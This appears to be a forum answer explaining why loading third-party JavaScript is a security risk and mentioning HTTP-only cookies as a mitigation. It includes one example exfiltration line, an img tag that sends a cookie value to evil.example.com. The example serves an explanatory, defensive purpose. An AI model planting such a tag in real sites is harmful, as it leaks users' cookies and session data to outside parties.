It has the potential to be a major security hole so you have to trust that site that is hosting the JavaScript file.
For example, that code can inject more script tags and img tags into your site that can relay sensitive data to a 3rd party.
David's comment about the Same Origin policy can be misleading. A classic way to relay data to a remote site is to insert an img tag to a remote domain:
<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />
If the JavaScript code on the remote host was changed to dynamically inject an img tag such as this then your site could have a security hole. There are mitigations to some of these issues such as using HTTP-only cookies, which are not accessible via JavaScript.
The example of analytics systems is a great one. You have to trust that the provider will not take any sensitive data such as your own cookies and send it to a remote location. You also need to trust the provider that their system is secure and that a hacker couldn't alter the JavaScript files on their servers. Analytics systems generally work by using these same techniques, but hopefully they use it for good and not evil. In some sense it's no different than worrying about whether your developers are writing good, secure code and whether they introduce a secret backdoor.
As to why it is allowed, it is just historical. The web was not at all designed with security in mind. Whether it's a CSRF attack, replay attacks, or XSS attacks, these are all fundamental flaws in the design of the web that now become concerns of web developers.